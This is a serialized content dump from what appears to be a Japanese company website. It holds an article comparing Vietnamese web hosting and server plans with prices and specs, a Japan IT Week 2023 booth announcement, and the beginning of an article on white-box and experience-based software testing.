要求により、各プランで追加の容量を購入できます。",[660,12357,12358],{"id":12358},"スーパープラン",[368,12360,12361,12379],{},[371,12362,12363],{},[374,12364,12365,12367,12371,12375],{},[377,12366],{},[377,12368,12369],{"align":12030},[20,12370,11881],{},[377,12372,12373],{"align":12030},[20,12374,12037],{},[377,12376,12377],{"align":12030},[20,12378,12042],{},[393,12380,12381,12394,12407,12419,12429,12439,12450,12460,12470,12482,12492,12502],{},[374,12382,12383,12385,12388,12391],{},[398,12384,12049],{},[398,12386,12387],{"align":12030},"Giga Super",[398,12389,12390],{"align":12030},"SUPERHOST 4",[398,12392,12393],{"align":12030},"Host12GB",[374,12395,12396,12398,12401,12404],{},[398,12397,12063],{},[398,12399,12400],{"align":12030},"489.000 (25.000VND\u002F1GB 追加)",[398,12402,12403],{"align":12030},"3.780.000 (97.000VND\u002F5GB\u002F３月間追加)",[398,12405,12406],{"align":12030},"360.000 (情報なし)",[374,12408,12409,12411,12413,12416],{},[398,12410,12250],{},[398,12412,12080],{"align":12030},[398,12414,12415],{"align":12030},"200 GB",[398,12417,12418],{"align":12030},"12 GB",[374,12420,12421,12423,12425,12427],{},[398,12422,12091],{},[398,12424,12094],{"align":12030},[398,12426,12094],{"align":12030},[398,12428,12094],{"align":12030},[374,12430,12431,12433,12435,12437],{},[398,12432,12103],{},[398,12434,12094],{"align":12030},[398,12436,12108],{"align":12030},[398,12438,12094],{"align":12030},[374,12440,12441,12443,12445,12448],{},[398,12442,12115],{},[398,12444,433],{"align":12030},[398,12446,12447],{"align":12030},"10",[398,12449,433],{"align":12030},[374,12451,12452,12454,12456,12458],{},[398,12453,12126],{},[398,12455,12094],{"align":12030},[398,12457,12447],{"align":12030},[398,12459,12094],{"align":12030},[374,12461,12462,12464,12466,12468],{},[398,12463,12137],{},[398,12465,443],{"align":12030},[398,12467,12108],{"align":12030},[398,12469,12309],{"align":12030},[374,12471,12472,12474,12477,12480],{},[398,12473,12148],{},[398,12475,12476],{"align":12030},"40",[398,12478,12479],{"align":12030},"1500",[398,12481,12108],{"align":12030},[374,12483,12484,12486,12488,12490],{},[398,12485,12184],{},[398,12487,12187],{"align":12030},[398,12489,12187],{"align":12030},[398,12491,12187],{"align":12030},[374,12493,12494,12496,12498,12500],{},[398,12495,12172],{},[398,12497,12175],{"align":12030},[398,12499,12163],{"align":12030},[398,12501,12175],{"align":12030},[374,12503,12504,12506,12509,12511],{},[398,12505,12345],{},[398,12507,12508],{"align":12030},"Weekly",[398,12510,12508],{"align":12030},[398,12512,12508],{"align":12030},[11,12514,12355],{},[487,12516,12518],{"id":12517},"各供給者のwordpressホスティングサービスプランの比較","各供給者のWordpressホスティングサービスプランの比較",[368,12520,12521,12539],{},[371,12522,12523],{},[374,12524,12525,12527,12531,12533,12537],{},[377,12526],{},[377,12528,12529],{"align":12030},[20,12530,12019],{},[377,12532],{"align":12030},[377,12534,12535],{"align":12030},[20,12536,12197],{},[377,12538],{"align":12030},[393,12540,12541,12564,12580,12596,12613,12625,12639,12652,12664,12677,12690,12702,12715,12728],{},[374,12542,12543,12546,12551,12556,12560],{},[398,12544,12545],{},"供給者",[398,12547,12548],{"align":12030},[20,12549,12550],{},"PA Việt Nam",[398,12552,12553],{"align":12030},[20,12554,12555],{},"Mắt bão",[398,12557,12558],{"align":12030},[20,12559,12550],{},[398,12561,12562],{"align":12030},[20,12563,12555],{},[374,12565,12566,12568,12571,12574,12577],{},[398,12567,12049],{},[398,12569,12570],{"align":12030},"WORDPRESS PRO #3",[398,12572,12573],{"align":12030},"DOANH NGHIỆP",[398,12575,12576],{"align":12030},"WORDPRESS VIP #4",[398,12578,12579],{"align":12030},"Tối Ưu",[374,12581,12582,12584,12587,12590,12593],{},[398,12583,12063],{},[398,12585,12586],{"align":12030},"223.000",[398,12588,12589],{"align":12030},"299.000",[398,12591,12592],{"align":12030},"1.049.000",[398,12594,12595],{"align":12030},"499.000",[374,12597,12598,12601,12604,12607,12610],{},[398,12599,12600],{},"容量",[398,12602,12603],{"align":12030},"25 GB",[398,12605,12606],{"align":12030},"15 GB",[398,12608,12609],{"align":12030},"35 GB",[398,12611,12612],{"align":12030},"40 GB",[374,12614,12615,12617,12619,12621,12623],{},[398,12616,12091],{},[398,12618,12094],{"align":12030},[398,12620,12094],{"align":12030},[398,12622,12094],{"align":12030},[398,12624,12094],{"align":12030},[374,12626,12627,12630,12633,12635,12637],{},[398,12628,12629],{},"MySQL\u002F MariaDB",[398,12631,12632],{"align":12030},"20",[398,12634,454],{"align":12030},[398,12636,464],{"align":12030},[398,12638,12447],{"align":12030},[374,12640,12641,12643,12645,12648,12650],{},[398,12642,12103],{},[398,12644,12094],{"align":12030},[398,12646,12647],{"align":12030},"情報なし",[398,12649,12094],{"align":12030},[398,12651,12647],{"align":12030},[374,12653,12654,12656,12658,12660,12662],{},[398,12655,12115],{},[398,12657,454],{"align":12030},[398,12659,12647],{"align":12030},[398,12661,433],{"align":12030},[398,12663,12647],{"align":12030},[374,12665,12666,12669,12671,12673,12675],{},[398,12667,12668],{},"パークドメイン",[398,12670,12094],{"align":12030},[398,12672,12094],{"align":12030},[398,12674,12094],{"align":12030},[398,12676,12094],{"align":12030},[374,12678,12679,12682,12684,12686,12688],{},[398,12680,12681],{},"PHP (PHP 5.x to 7.x)",[398,12683,12163],{"align":12030},[398,12685,12163],{"align":12030},[398,12687,12163],{"align":12030},[398,12689,12163],{"align":12030},[374,12691,12692,12694,12696,12698,12700],{},[398,12693,12172],{},[398,12695,12163],{"align":12030},[398,12697,12163],{"align":12030},[398,12699,12163],{"align":12030},[398,12701,12163],{"align":12030},[374,12703,12704,12707,12709,12711,12713],{},[398,12705,12706],{},"Redis Cache",[398,12708,12163],{"align":12030},[398,12710,12163],{"align":12030},[398,12712,12163],{"align":12030},[398,12714,12163],{"align":12030},[374,12716,12717,12720,12722,12724,12726],{},[398,12718,12719],{},"HTTP\u002F2",[398,12721,12163],{"align":12030},[398,12723,12163],{"align":12030},[398,12725,12163],{"align":12030},[398,12727,12163],{"align":12030},[374,12729,12730,12732,12734,12736,12738],{},[398,12731,12345],{},[398,12733,12163],{"align":12030},[398,12735,12163],{"align":12030},[398,12737,12163],{"align":12030},[398,12739,12163],{"align":12030},[487,12741,12742],{"id":12742},"クラウドホスティング",[495,12744,10710],{"id":12745},"良い点-5",[31,12747,12748,12751,12754,12757,12760,12763,12766,12769,12772],{},[34,12749,12750],{},"スケールアップ・スケールダウンが早い： クラウドホスティングを使用すると、ユーザーが必要なときにリソースをすばやく追加し、ユーザーが不要になったときにリソースを減らすことができます。 ユーザーは実際に使用した分だけ支払いますが、必要なときに常に多くのリソースを受け取ります。",[34,12752,12753],{},"ハードウェアに依存しないため信頼性が高い。",[34,12755,12756],{},"Webサイトの稼働時間が99.99%に達する可能性があります。",[34,12758,12759],{},"完全な管理： ホスティングクラウドは、高度なクラウドコンピューティングインフラストラクチャで構築されておりパッチ実行の管理の対象はセキュリティ、ファイアウォール、バックアップデータなどが含まれています。",[34,12761,12762],{},"WindowsまたはLinuxプラットフォーム：クラウドホスティングは、WindowsとLinuxの両方のオペレーティングシステムもサポートしています。 したがって、Microsoft SQL ServerまたはMySQL、IISまたはApache、PHPまたはNETで開発しているすべてのユーザーは互換性があります。",[34,12764,12765],{},"可用性：他のホスティングシステムとは異なり、クラウドホスティングは、ユーザーがいつでもどこでも使いやすく、データベースを制御できるようにします。 さらに、このシステムは自動アップグレードが可能で、24時間年中無休で常に更新されます。",[34,12767,12768],{},"安全性と機密性の確保：このサービスはすべての内部データシステムのセキュリティを最適化しており、ユーザーはクラウドホスティングを安心して使用できます。",[34,12770,12771],{},"無制限のアップグレード：お客様は、各ビジネスのニーズに応じて、問題なく継続的にサービスパックをアップグレードおよび開発できます。",[34,12773,12774],{},"運用を専門家チームに委任する：完全な能力と高い専門的能力を備えた専門家チームが代行して運用してくれるサービスがあり、システムクラウドホスティングを最適に運用してくれます。",[495,12776,11850],{"id":12777},"悪い点-5",[31,12779,12780,12783],{},[34,12781,12782],{},"サービスパッククラウドホスティングの価格は、他の一般的なホスティングタイプよりも少し高価です。 しかし、長期的には、クラウドホスティングの方がはるかに有益です。",[34,12784,12785],{},"VPSよりも安全ですが、プライベートサーバーと比較すると、クラウドサーバーのセキュリティは依然として低いです。",[495,12787,12789],{"id":12788},"mat-bao-クラウドホスティング供給者","Mat Bao クラウドホスティング供給者",[495,12791,12793],{"id":12792},"現在mat-baoのみクラウドホスティングサービスを提供する","(現在、Mat Baoのみクラウドホスティングサービスを提供する)",[368,12795,12796,12817],{},[371,12797,12798],{},[374,12799,12800,12802,12807,12812],{},[377,12801],{},[377,12803,12804],{"align":12030},[20,12805,12806],{},"Cloud Host 1 (Windows)",[377,12808,12809],{"align":12030},[20,12810,12811],{},"Cloud Host 4 (Windows)",[377,12813,12814],{"align":12030},[20,12815,12816],{},"Cloud Host 6 (Windows)",[393,12818,12819,12832,12843,12857,12868,12879,12889,12899,12910,12921,12932,12942],{},[374,12820,12821,12823,12826,12829],{},[398,12822,12063],{},[398,12824,12825],{"align":12030},"49.000",[398,12827,12828],{"align":12030},"149.000",[398,12830,12831],{"align":12030},"409.000",[374,12833,12834,12837,12839,12841],{},[398,12835,12836],{},"ウェブサイト",[398,12838,400],{"align":12030},[398,12840,411],{"align":12030},[398,12842,454],{"align":12030},[374,12844,12845,12848,12851,12854],{},[398,12846,12847],{},"クラウド容量",[398,12849,12850],{"align":12030},"1000 MB",[398,12852,12853],{"align":12030},"5500MB",[398,12855,12856],{"align":12030},"15000MB",[374,12858,12859,12861,12864,12866],{},[398,12860,12091],{},[398,12862,12863],{"align":12030},"15GB",[398,12865,12094],{"align":12030},[398,12867],{"align":12030},[374,12869,12870,12872,12875,12877],{},[398,12871,12115],{},[398,12873,12874],{"align":12030},"0",[398,12876,400],{"align":12030},[398,12878,443],{"align":12030},[374,12880,12881,12883,12885,12887],{},[398,12882,12103],{},[398,12884,422],{"align":12030},[398,12886,12094],{"align":12030},[398,12888,12094],{"align":12030},[374,12890,12891,12893,12895,12897],{},[398,12892,12126],{},[398,12894,12094],{"align":12030},[398,12896,12094],{"align":12030},[398,12898,12094],{"align":12030},[374,12900,12901,12904,12906,12908],{},[398,12902,12903],{},"SQLサーバ",[398,12905,400],{"align":12030},[398,12907,443],{"align":12030},[398,12909,12151],{"align":12030},[374,12911,12912,12915,12917,12919],{},[398,12913,12914],{},"My SQL",[398,12916,12874],{"align":12030},[398,12918,400],{"align":12030},[398,12920,400],{"align":12030},[374,12922,12923,12926,12928,12930],{},[398,12924,12925],{},"ASP.NET 3.x\u002F PHP バージョン(5.6 - 7.3)",[398,12927,12163],{"align":12030},[398,12929,12163],{"align":12030},[398,12931,12163],{"align":12030},[374,12933,12934,12936,12938,12940],{},[398,12935,12172],{},[398,12937,12175],{"align":12030},[398,12939,12163],{"align":12030},[398,12941,12163],{"align":12030},[374,12943,12944,12946,12948,12950],{},[398,12945,12345],{},[398,12947,12163],{"align":12030},[398,12949,12163],{"align":12030},[398,12951,12163],{"align":12030},[487,12953,12954],{"id":12954},"プライベートサーバ",[660,12956,12957],{"id":12957},"基本ブラン",[368,12959,12960,12979],{},[371,12961,12962],{},[374,12963,12964,12966,12971,12975],{},[377,12965,197],{},[377,12967,12968],{"align":12030},[20,12969,12970],{},"PA Viet Nam",[377,12972,12973],{"align":12030},[20,12974,11881],{},[377,12976,12977],{"align":12030},[20,12978,11914],{},[393,12980,12981,12994,13006,13019,13032,13045,13057],{},[374,12982,12983,12985,12988,12991],{},[398,12984,12049],{},[398,12986,12987],{"align":12030},"SERVER DELL R340",[398,12989,12990],{"align":12030},"Tera  Plus1",[398,12992,12993],{"align":12030},"連絡",[374,12995,12996,12998,13001,13004],{},[398,12997,12063],{},[398,12999,13000],{"align":12030},"4.947.000",[398,13002,13003],{"align":12030},"10.880.000",[398,13005,12993],{"align":12030},[374,13007,13008,13011,13014,13017],{},[398,13009,13010],{},"CPU",[398,13012,13013],{"align":12030},"Intel Xeon E-2234 Processor 8M Cache, 3.60 GHz",[398,13015,13016],{"align":12030},"Intel® Quad Core Xeon E5410 (2.33Ghz 12MB Cache, 1333)",[398,13018,12993],{"align":12030},[374,13020,13021,13024,13027,13030],{},[398,13022,13023],{},"RAM",[398,13025,13026],{"align":12030},"2x8GB",[398,13028,13029],{"align":12030},"2x2GB",[398,13031,12993],{"align":12030},[374,13033,13034,13037,13040,13043],{},[398,13035,13036],{},"HDD",[398,13038,13039],{"align":12030},"SSD 480G 2.5",[398,13041,13042],{"align":12030},"2 x 320GB",[398,13044,12993],{"align":12030},[374,13046,13047,13050,13052,13055],{},[398,13048,13049],{},"帯域幅",[398,13051,12647],{"align":12030},[398,13053,13054],{"align":12030},"1Gbps",[398,13056,12993],{"align":12030},[374,13058,13059,13062,13065,13068],{},[398,13060,13061],{},"外部帯域幅(Up\u002FDown)",[398,13063,13064],{"align":12030},"20Mbps 15Mbps",[398,13066,13067],{"align":12030},"10Mbps 5Mbps",[398,13069,12993],{"align":12030},[660,13071,12197],{"id":13072},"プレミアプラン-1",[368,13074,13075,13093],{},[371,13076,13077],{},[374,13078,13079,13081,13085,13089],{},[377,13080,197],{},[377,13082,13083],{"align":12030},[20,13084,12970],{},[377,13086,13087],{"align":12030},[20,13088,11881],{},[377,13090,13091],{"align":12030},[20,13092,11914],{},[393,13094,13095,13107,13119,13131,13143,13153,13163],{},[374,13096,13097,13099,13102,13105],{},[398,13098,12049],{},[398,13100,13101],{"align":12030},"SILVER GOLD SERIAL",[398,13103,13104],{"align":12030},"Tera-PLUS3",[398,13106,12993],{"align":12030},[374,13108,13109,13111,13114,13117],{},[398,13110,12063],{},[398,13112,13113],{"align":12030},"5.200.000",[398,13115,13116],{"align":12030},"6.800.000",[398,13118,12993],{"align":12030},[374,13120,13121,13123,13126,13129],{},[398,13122,13010],{},[398,13124,13125],{"align":12030},"Intel Xeon Silver 4110, 2.10 GHz, 11M Cache, 8 Cores, 16 Threads",[398,13127,13128],{"align":12030},"Intel® Xeon® Westmere Quad Core E5620 (2.4Ghz 12MB Cache, QPI 5.86 GT\u002Fsec)",[398,13130,12993],{"align":12030},[374,13132,13133,13135,13138,13141],{},[398,13134,13023],{},[398,13136,13137],{"align":12030},"2x8 GB",[398,13139,13140],{"align":12030},"2x2 GB",[398,13142,12993],{"align":12030},[374,13144,13145,13147,13149,13151],{},[398,13146,13036],{},[398,13148,13039],{"align":12030},[398,13150,13042],{"align":12030},[398,13152,12993],{"align":12030},[374,13154,13155,13157,13159,13161],{},[398,13156,13049],{},[398,13158,12647],{"align":12030},[398,13160,13054],{"align":12030},[398,13162,12993],{"align":12030},[374,13164,13165,13167,13169,13172],{},[398,13166,13061],{},[398,13168,13064],{"align":12030},[398,13170,13171],{"align":12030},"30Mbps 5Mbps",[398,13173,12993],{"align":12030},[487,13175,13176],{"id":13176},"クラウドサーバ",[495,13178,13180],{"id":13179},"windowsのクラウドホスティングの値段一覧","Windowsのクラウドホスティングの値段一覧",[660,13182,12019],{"id":13183},"基本プラン-1",[368,13185,13186,13205],{},[371,13187,13188],{},[374,13189,13190,13192,13196,13200],{},[377,13191],{},[377,13193,13194],{"align":12030},[20,13195,11881],{},[377,13197,13198],{"align":12030},[20,13199,12042],{},[377,13201,13202],{"align":12030},[20,13203,13204],{},"MẮT BÃO",[393,13206,13207,13220,13234,13246,13257,13270,13281,13291,13303],{},[374,13208,13209,13211,13214,13217],{},[398,13210,12049],{},[398,13212,13213],{"align":12030},"MEDIUM 4",[398,13215,13216],{"align":12030},"CLOUD SERVER 2  SSD",[398,13218,13219],{"align":12030},"CS4",[374,13221,13222,13225,13228,13231],{},[398,13223,13224],{},"価格(VNĐ\u002F月)",[398,13226,13227],{"align":12030},"1.200.000 (699.000)",[398,13229,13230],{"align":12030},"550.000",[398,13232,13233],{"align":12030},"1.489.000",[374,13235,13236,13238,13241,13243],{},[398,13237,13010],{},[398,13239,13240],{"align":12030},"2 vCPU",[398,13242,13240],{"align":12030},[398,13244,13245],{"align":12030},"3vCPU",[374,13247,13248,13250,13253,13255],{},[398,13249,13023],{},[398,13251,13252],{"align":12030},"2 GB",[398,13254,13252],{"align":12030},[398,13256,454],{"align":12030},[374,13258,13259,13261,13264,13267],{},[398,13260,13036],{},[398,13262,13263],{"align":12030},"SSD 40 GB",[398,13265,13266],{"align":12030},"40 GB HDD",[398,13268,13269],{"align":12030},"SSD 80 GB",[374,13271,13272,13274,13277,13279],{},[398,13273,13049],{},[398,13275,13276],{"align":12030},"100Mbps",[398,13278,13276],{"align":12030},[398,13280,12647],{"align":12030},[374,13282,13283,13285,13287,13289],{},[398,13284,12091],{},[398,13286,12094],{"align":12030},[398,13288,12094],{"align":12030},[398,13290,12094],{"align":12030},[374,13292,13293,13296,13299,13301],{},[398,13294,13295],{},"ファイルワール",[398,13297,13298],{"align":12030},"無料",[398,13300,12647],{"align":12030},[398,13302,12647],{"align":12030},[374,13304,13305,13308,13310,13312],{},[398,13306,13307],{},"負荷分散",[398,13309,13298],{"align":12030},[398,13311,12647],{"align":12030},[398,13313,12647],{"align":12030},[660,13315,12197],{"id":13316},"プレミアプラン-2",[368,13318,13319,13337],{},[371,13320,13321],{},[374,13322,13323,13325,13329,13333],{},[377,13324],{},[377,13326,13327],{"align":12030},[20,13328,11881],{},[377,13330,13331],{"align":12030},[20,13332,12042],{},[377,13334,13335],{"align":12030},[20,13336,13204],{},[393,13338,13339,13352,13365,13378,13391,13404,13414,13424,13434],{},[374,13340,13341,13343,13346,13349],{},[398,13342,12049],{},[398,13344,13345],{"align":12030},"LARG 8",[398,13347,13348],{"align":12030},"HIGH MEMORY 16x",[398,13350,13351],{"align":12030},"CS6",[374,13353,13354,13356,13359,13362],{},[398,13355,12063],{},[398,13357,13358],{"align":12030},"2.360.000 (1.288.000)",[398,13360,13361],{"align":12030},"2.500.000",[398,13363,13364],{"align":12030},"2.149.000",[374,13366,13367,13369,13372,13375],{},[398,13368,13010],{},[398,13370,13371],{"align":12030},"4 vCPU",[398,13373,13374],{"align":12030},"8 vCPU",[398,13376,13377],{"align":12030},"6v CPU",[374,13379,13380,13382,13385,13388],{},[398,13381,13023],{},[398,13383,13384],{"align":12030},"8 GB",[398,13386,13387],{"align":12030},"16 GB",[398,13389,13390],{"align":12030},"8GB",[374,13392,13393,13395,13398,13401],{},[398,13394,13036],{},[398,13396,13397],{"align":12030},"SSD 100 GB",[398,13399,13400],{"align":12030},"150 GB HDD",[398,13402,13403],{"align":12030},"SSD 120 GB",[374,13405,13406,13408,13410,13412],{},[398,13407,13049],{},[398,13409,13276],{"align":12030},[398,13411,13276],{"align":12030},[398,13413,12647],{"align":12030},[374,13415,13416,13418,13420,13422],{},[398,13417,12091],{},[398,13419,12094],{"align":12030},[398,13421,12094],{"align":12030},[398,13423,12175],{"align":12030},[374,13425,13426,13428,13430,13432],{},[398,13427,13295],{},[398,13429,12163],{"align":12030},[398,13431,12175],{"align":12030},[398,13433,12175],{"align":12030},[374,13435,13436,13438,13440,13442],{},[398,13437,13307],{},[398,13439,12163],{"align":12030},[398,13441,12175],{"align":12030},[398,13443,12175],{"align":12030},[660,13445,12358],{"id":13446},"スーパープラン-1",[368,13448,13449,13467],{},[371,13450,13451],{},[374,13452,13453,13455,13459,13463],{},[377,13454],{},[377,13456,13457],{"align":12030},[20,13458,11881],{},[377,13460,13461],{"align":12030},[20,13462,12042],{},[377,13464,13465],{"align":12030},[20,13466,13204],{},[393,13468,13469,13482,13494,13506,13517,13530,13540,13550,13560],{},[374,13470,13471,13473,13476,13479],{},[398,13472,12049],{},[398,13474,13475],{"align":12030},"EXTRA 16",[398,13477,13478],{"align":12030},"HIGH MEMORY 32x",[398,13480,13481],{"align":12030},"CS8",[374,13483,13484,13486,13489,13491],{},[398,13485,12063],{},[398,13487,13488],{"align":12030},"5.270.000 (3.800.000)",[398,13490,13361],{"align":12030},[398,13492,13493],{"align":12030},"2.949.000",[374,13495,13496,13498,13500,13503],{},[398,13497,13010],{},[398,13499,13374],{"align":12030},[398,13501,13502],{"align":12030},"16 vCPU",[398,13504,13505],{"align":12030},"8v CPU",[374,13507,13508,13510,13512,13515],{},[398,13509,13023],{},[398,13511,13387],{"align":12030},[398,13513,13514],{"align":12030},"32 GB",[398,13516,12418],{"align":12030},[374,13518,13519,13521,13524,13527],{},[398,13520,13036],{},[398,13522,13523],{"align":12030},"SSD 500 GB",[398,13525,13526],{"align":12030},"300 GB HDD",[398,13528,13529],{"align":12030},"SSD 160 GB",[374,13531,13532,13534,13536,13538],{},[398,13533,13049],{},[398,13535,13276],{"align":12030},[398,13537,13276],{"align":12030},[398,13539,12647],{"align":12030},[374,13541,13542,13544,13546,13548],{},[398,13543,12091],{},[398,13545,12094],{"align":12030},[398,13547,12094],{"align":12030},[398,13549,12175],{"align":12030},[374,13551,13552,13554,13556,13558],{},[398,13553,13295],{},[398,13555,12163],{"align":12030},[398,13557,12175],{"align":12030},[398,13559,12175],{"align":12030},[374,13561,13562,13564,13566,13568],{},[398,13563,13307],{},[398,13565,12163],{"align":12030},[398,13567,12175],{"align":12030},[398,13569,12175],{"align":12030},[487,13571,13572],{"id":13572},"参照",[11,13574,13575,13576],{},"FPT : ",[57,13577,11879],{"href":11879,"rel":13578},[61],[11,13580,13581,13582],{},"PA VIỆT NAM : ",[57,13583,13584],{"href":13584,"rel":13585},"https:\u002F\u002Fwww.pavietnam.vn\u002Fen\u002Fhosting.html",[61],[11,13587,13588,13589],{},"MẮT BÃO : ",[57,13590,11981],{"href":11981,"rel":13591},[61],[11,13593,13594,13595],{},"VIETTEL : ",[57,13596,13597],{"href":13597,"rel":13598},"https:\u002F\u002Fwww.viettelidc.com.vn\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":13600},[13601,13602,13603,13607,13611,13615,13622,13623,13624,13625,13629],{"id":10710,"depth":65,"text":10710},{"id":11850,"depth":65,"text":11850},{"id":11876,"depth":65,"text":11881,"children":13604},[13605,13606],{"id":11884,"depth":1375,"text":10710},{"id":11901,"depth":1375,"text":11850},{"id":11909,"depth":65,"text":11914,"children":13608},[13609,13610],{"id":11917,"depth":1375,"text":10710},{"id":11932,"depth":1375,"text":11850},{"id":11940,"depth":65,"text":11945,"children":13612},[13613,13614],{"id":11948,"depth":1375,"text":10710},{"id":11967,"depth":1375,"text":11850},{"id":11978,"depth":65,"text":11983,"children":13616},[13617,13618,13619,13620,13621],{"id":11986,"depth":1375,"text":10710},{"id":12008,"depth":1375,"text":11850},{"id":12019,"depth":1375,"text":12019},{"id":12197,"depth":1375,"text":12197},{"id":12358,"depth":1375,"text":12358},{"id":12745,"depth":65,"text":10710},{"id":12777,"depth":65,"text":11850},{"id":12788,"depth":65,"text":12789},{"id":12792,"depth":65,"text":12793,"children":13626},[13627,13628],{"id":12957,"depth":1375,"text":12957},{"id":13072,"depth":1375,"text":12197},{"id":13179,"depth":65,"text":13180,"children":13630},[13631,13632,13633],{"id":13183,"depth":1375,"text":12019},{"id":13316,"depth":1375,"text":12197},{"id":13446,"depth":1375,"text":12358},"2021-03-03","ホスティングとは？ ホスティング（Webホスティング）は、ネイティブWebページまたはWebアプリケーションをインターネットに公開するのに役立つオンラインサービスです。 ホスティングサービスを登録するとき、ウェブサイトが動作するのに必要なすべてのファイルやデータを保持するサーバー上の場所を確保します。",{},"\u002Fja\u002Fnews\u002Fhosting-vietnam-2021",{"title":11822,"description":13635},"ja\u002Fnews\u002Fhosting-vietnam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F01135754\u002F355bc43f87f974a72de8.jpg","xf-oZ4Kguyyd5P2Sb-T6DArVhkGLHmGUlVhjb_Ko98g",{"id":13643,"title":13644,"body":13645,"category":67,"created by":68,"date":13668,"description":13649,"extension":71,"meta":13669,"navigation":73,"path":13670,"sections":75,"seo":13671,"stem":13672,"thumbnail":13673,"__hash__":13674},"content_ja\u002Fja\u002Fnews\u002Fjapan-it-week-2023.md","Japan IT Weekでお待ちしております！！",{"type":8,"value":13646,"toc":13666},[13647,13650,13653,13656,13659],[11,13648,13649],{},"Japan IT Week(2023\u002F10\u002F25(水) ~ 27(金))に参加します。 弊社ではAI画像解析、AIアナログメーター読み取り、AWS導入コンサルティング、受発注管理、その他請負型システム開発のサービスをご提供しております。",[11,13651,13652],{},"有名なクラウドサービスを導入してみたが上手くいかない。対応のスピード感がないとかご相談を受けることがよくあります。 お困りごとがあれば、是非一度弊社にブースでご相談を頂ければと思います。",[11,13654,13655],{},"ご予約頂けますと、スムーズなご案内ができます。",[11,13657,13658],{},"詳しくは下記のリンクをご参照頂きたいです。",[11,13660,13661],{},[57,13662,13665],{"href":13663,"rel":13664,"title":13665},"https:\u002F\u002Ftech.briswell.com\u002Fentry\u002F2023\u002F10\u002F18\u002F140442?src=yktw",[61],"2023.10.25（水）〜27（金）@幕張メッセ JAPAN IT WEEK 【ブース番号：52-46】",{"title":64,"searchDepth":65,"depth":65,"links":13667},[],"2023-10-19",{},"\u002Fja\u002Fnews\u002Fjapan-it-week-2023",{"title":13644,"description":13649},"ja\u002Fnews\u002Fjapan-it-week-2023","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Flogo_itweek.png","F9zdJO7Fp1oawxEAwZUhjqra1K81BvHABMB5t2tGVNs",{"id":13676,"title":13677,"body":13678,"category":353,"created by":68,"date":13859,"description":13860,"extension":71,"meta":13861,"navigation":73,"path":13862,"sections":75,"seo":13863,"stem":13864,"thumbnail":13865,"__hash__":13866},"content_ja\u002Fja\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem.md","ホワイトボックスと経験ベーステスト",{"type":8,"value":13679,"toc":13857},[13680,13685,13688,13693,13696,13699,13704,13707,13710,13713,13716,13722,13725,13733,13738,13741,13744,13747,13752,13755,13758,13761,13766,13769,13780,13783,13786,13800,13803,13808,13811,13819,13822,13827,13830,13833,13841,13844,13847,13851],[11,13681,13682],{},[20,13683,13684],{},"①ホワイトボックス",[11,13686,13687],{},"ホワイトボックステストとは、対象となるシステムやコードの内部構造に基づいて行うテストです。このテストはあらゆるテストレベルで活用できますが、特にコンポーネントテストで用いられる、コードを基にした2つの手法に焦点を当てています。これらの手法では、コード内でどの要素に注目するかによって種類が異なります。また、注目した要素がどの程度実行されたかを示す「カバレッジ」（コードカバレッジ）の測定が重要な役割を果たします。",[11,13689,13690],{},[20,13691,13692],{},"ステートメントテストとカバレッジ",[11,13694,13695],{},"ステートメントテストでは、コード内の実行可能な命令文（ステートメント）を対象としてテストケースを設計します。このテストで測定されるカバレッジは「ステートメントカバレッジ」と呼ばれ、以下の式で算出されます。",[11,13697,13698],{},"ステートメントカバレッジ（％） = 実行されたステートメントの数 \u002F テスト対象の総ステートメント数 × 100",[11,13700,13701],{},[20,13702,13703],{},"デシジョンテストとカバレッジ",[11,13705,13706],{},"デシジョンテストとは、コード内の分岐条件やその結果に基づいてテストケースを設計する手法です。分岐条件の記述はプログラミング言語によって異なりますが、典型的な例として if-else文、switch-case文、do-while文 などが挙げられます。",[11,13708,13709],{},"このテストで計測されるカバレッジは「デシジョンカバレッジ」と呼ばれ、以下の計算式を用いて求められます。",[11,13711,13712],{},"デシジョンカバレッジ（％） = 実行された分岐結果の数 \u002F 分岐結果の総数 × 100",[11,13714,13715],{},"前述のステートメントカバレッジと同様に、以下のコードを例にデシジョンカバレッジを解説します。",[696,13717,13720],{"className":13718,"code":13719,"language":701},[699],"public void foo(int x) {\n\n    if (x != 0) {\n\n        x = 1 \u002F x;\n\n    }\n\n}\n",[703,13721,13719],{"__ignoreMap":64},[11,13723,13724],{},"デシジョンカバレッジを100%にするには、if文の分岐結果が真の場合と偽の場合の両方をテストで実行する必要があります。この例では、変数 x に対して以下の2つのテストケースが必要です。",[199,13726,13727,13730],{},[34,13728,13729],{},"x が 0 の場合（偽の結果）",[34,13731,13732],{},"x が 0 以外の場合（真の結果）",[11,13734,13735],{},[20,13736,13737],{},"ステートメントテストとデシジョンテストの重要性",[11,13739,13740],{},"ステートメントテストとデシジョンテストにはそれぞれ独自の価値があります。デシジョンカバレッジを100%達成すれば、ステートメントカバレッジも必然的に100%達成されますが、その逆は保証されません。この違いは、具体例を見れば明確です。たとえば、if文にelse文がない場合、つまり偽の条件に対応する明示的なステートメントが存在しないコードでは、ステートメントテストとデシジョンテストで必要なテストケースが異なります。これは、両者の手法が異なる視点からコードを評価しているためです。",[11,13742,13743],{},"ステートメントテストは、コード内の実行可能な命令が期待通りに動作するかを確認し、実行中に意図しない結果を引き起こす欠陥を見つけることを目的としています。一方、デシジョンテストは、分岐条件の真と偽の両方のケースを網羅し、それぞれで期待とは異なる動作が生じる可能性を探ります。",[11,13745,13746],{},"ただし、これらのテストケースをコードに基づいて作成する場合、コード自体に誤りが含まれていると、テストで想定される期待結果も誤ってしまう可能性があります。この問題を解消するため、ホワイトボックステストであっても、期待結果を決定する際に仕様書を利用することが必要となる場合があります。",[11,13748,13749],{},[20,13750,13751],{},"②経験ベースのテスト",[11,13753,13754],{},"経験ベースのテスト技法は、テスト担当者のスキルや直感、さらにはこれまでの類似アプリケーションや技術における経験を活かしてテストケースを設計する方法です。この技法は、ブラックボックステスト技法やホワイトボックステスト技法と併用されることが一般的です。",[11,13756,13757],{},"たとえば、仕様書に明記されていない「暗黙の仕様」に関連するテストは、ブラックボックステスト技法だけでは対応が難しい場合があります。この「暗黙の仕様」は明記されていないがゆえに欠陥が発生しやすい領域であり、経験ベースのテスト技法はそのような欠陥を見つける上で非常に有効です